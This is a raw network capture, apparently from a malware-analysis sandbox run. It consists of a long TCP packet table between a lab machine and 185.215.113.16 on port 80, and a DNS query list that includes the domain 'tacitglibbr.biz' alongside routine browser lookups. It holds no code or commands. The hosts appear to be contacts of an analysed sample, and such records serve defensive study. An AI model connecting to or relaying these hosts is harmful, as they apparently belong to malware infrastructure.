Dec 16, 2024 15:02:37.897476912 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.898241997 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.898294926 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.898334026 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.898376942 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.899272919 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.899338007 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.899379015 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.899430990 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.900356054 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.900477886 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.900517941 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.900608063 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.901443958 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.901537895 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.901761055 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.902499914 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.902635098 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.902656078 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.902704954 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.903738976 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.903842926 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.903903961 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.903975010 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.904661894 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.904742002 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.904771090 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.904814005 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.905761957 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.905831099 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.905879021 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.906044006 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.906820059 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.906920910 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.906933069 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.906984091 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.907918930 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.907988071 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.907999039 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.908128023 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.909001112 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.909205914 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.909307003 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.910024881 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.910068035 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.910161972 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.910350084 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.911408901 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.911457062 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.911515951 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.911559105 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.912499905 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.912602901 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.912687063 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.912763119 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.913346052 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.913374901 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.913398981 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.913465023 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.914331913 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.914407969 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.914484978 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.914556026 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.915416002 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.915529966 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.915540934 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.915697098 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.916500092 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.916563988 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.916604042 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.916805029 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.917578936 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.917627096 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.917661905 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.917757034 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.918699026 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.918765068 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.918853045 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.918891907 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.919800997 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.919851065 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.919888020 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.919929028 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.920816898 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.920867920 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.920886040 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.920914888 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.921878099 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.921928883 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.922254086 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.922357082 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.922915936 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.923012018 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.923029900 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.923115969 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.924005985 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.924093008 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.924149990 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.924499035 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.925054073 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.925138950 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.925314903 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.925992966 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.926172018 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.926214933 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.926276922 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.926321983 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.927243948 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.927294970 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.927335978 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.927403927 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.928298950 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.928361893 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.928395987 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.928457022 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.929467916 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.929537058 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.929594994 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.929701090 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.930450916 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.930506945 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.930552006 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.930675983 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.931543112 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.931581974 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.931710958 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.931782961 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.932554007 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.932591915 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.067723989 CET	49963	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:38.067783117 CET	443	49963	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:38.067848921 CET	49963	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:38.068186998 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.068319082 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.068422079 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.068427086 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.068500996 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.068545103 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.068711996 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.069571018 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.069598913 CET	49963	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:38.069616079 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.069617033 CET	443	49963	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:38.069787025 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.069839001 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.070595980 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.070658922 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.070681095 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.070697069 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.071728945 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.071794033 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.071814060 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.071949959 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.072884083 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.073035955 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.073060989 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.073088884 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.073813915 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.073949099 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.074544907 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.074544907 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.074963093 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.075042963 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.075207949 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.075207949 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.076023102 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.076112032 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.076200008 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.076407909 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.077119112 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.077153921 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.077240944 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.078136921 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.078205109 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.078253031 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.078253984 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.079170942 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.079304934 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.079324961 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.079547882 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.080271006 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.080370903 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.080394030 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.080446005 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.081348896 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.081418037 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.081505060 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.082412004 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.082518101 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.082556963 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.082600117 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.083489895 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.083540916 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.083566904 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.083585978 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.084646940 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.084719896 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.084723949 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.084830999 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.085916996 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.085977077 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.086026907 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.086071968 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.086824894 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.086878061 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.086888075 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.086949110 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.087759972 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.087840080 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.087883949 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.088172913 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.088829041 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.088943005 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.088963032 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.089202881 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.089922905 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.089989901 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.090024948 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.090157032 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.090995073 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.091053963 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.091080904 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.091105938 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.092073917 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.092142105 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.092175007 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.092251062 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.093162060 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.093241930 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.093364000 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.093405008 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.094307899 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.094364882 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.094541073 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.094541073 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.095302105 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.095421076 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.095737934 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.095737934 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.096541882 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.096674919 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.096685886 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.096803904 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.097537994 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.097608089 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.097645998 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.097688913 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.098963022 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.099044085 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.099133015 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.099298954 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.099895000 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.099992990 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.100008011 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.100048065 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.100809097 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.100857019 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.100877047 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.101066113 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.101753950 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.101888895 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.101908922 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.102293015 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.102807045 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.102950096 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.103091002 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.103157043 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.103926897 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.104026079 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.104052067 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.104291916 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.105070114 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.105216026 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.105288982 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.106157064 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.106287956 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.106357098 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.106357098 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.107146025 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.107228041 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.107268095 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.107321024 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.108195066 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.108264923 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.108268976 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.108422995 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.109249115 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.109334946 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.109355927 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.109385014 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:38.110366106 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.110532999 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:38.110554934 CET	49938	80	192.168.2.6	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 16, 2024 15:02:15.677932024 CET	192.168.2.6	1.1.1.1	0xb74d	Standard query (0)	tacitglibbr.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:33.553636074 CET	192.168.2.6	1.1.1.1	0x24e8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:33.553848028 CET	192.168.2.6	1.1.1.1	0xda93	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 16, 2024 15:02:42.509118080 CET	192.168.2.6	1.1.1.1	0x413a	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:42.648926020 CET	192.168.2.6	1.1.1.1	0x7259	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 15:02:45.000899076 CET	192.168.2.6	1.1.1.1	0xa0f2	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:45.001990080 CET	192.168.2.6	1.1.1.1	0x30e9	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:45.141846895 CET	192.168.2.6	1.1.1.1	0xd58b	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:45.144382954 CET	192.168.2.6	1.1.1.1	0xd189	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:45.293675900 CET	192.168.2.6	1.1.1.1	0x889f	Standard query (0)	youtube.com	28	IN (0x0001)	false
Dec 16, 2024 15:02:45.297936916 CET	192.168.2.6	1.1.1.1	0x17d3	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 15:02:46.674582958 CET	192.168.2.6	1.1.1.1	0x66f2	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:46.683094978 CET	192.168.2.6	1.1.1.1	0xcaad	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:47.088948965 CET	192.168.2.6	1.1.1.1	0x5465	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:47.088979959 CET	192.168.2.6	1.1.1.1	0x3227	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:47.091480017 CET	192.168.2.6	1.1.1.1	0x41e2	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:47.110464096 CET	192.168.2.6	1.1.1.1	0xdf1d	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:47.111190081 CET	192.168.2.6	1.1.1.1	0x38e0	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:47.113238096 CET	192.168.2.6	1.1.1.1	0x31a	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:47.256705999 CET	192.168.2.6	1.1.1.1	0x218a	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 15:02:47.257605076 CET	192.168.2.6	1.1.1.1	0xe60b	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 15:02:47.273215055 CET	192.168.2.6	1.1.1.1	0x7cc5	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:02:47.412981033 CET	192.168.2.6	1.1.1.1	0x995e	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 15:02:47.829513073 CET	192.168.2.6	1.1.1.1	0x2a0d	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
